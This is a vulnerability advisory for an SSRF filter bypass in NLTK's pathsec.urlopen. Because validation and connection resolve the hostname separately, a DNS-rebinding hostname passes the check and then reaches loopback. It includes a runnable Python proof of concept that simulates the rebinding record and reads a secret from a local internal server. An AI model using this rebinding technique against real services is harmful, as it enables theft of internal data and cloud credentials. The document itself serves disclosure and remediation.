Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True  # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"   # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"              # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]  # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"   # 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process
    try:
        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True

        # ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
            # Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

• Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
• Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.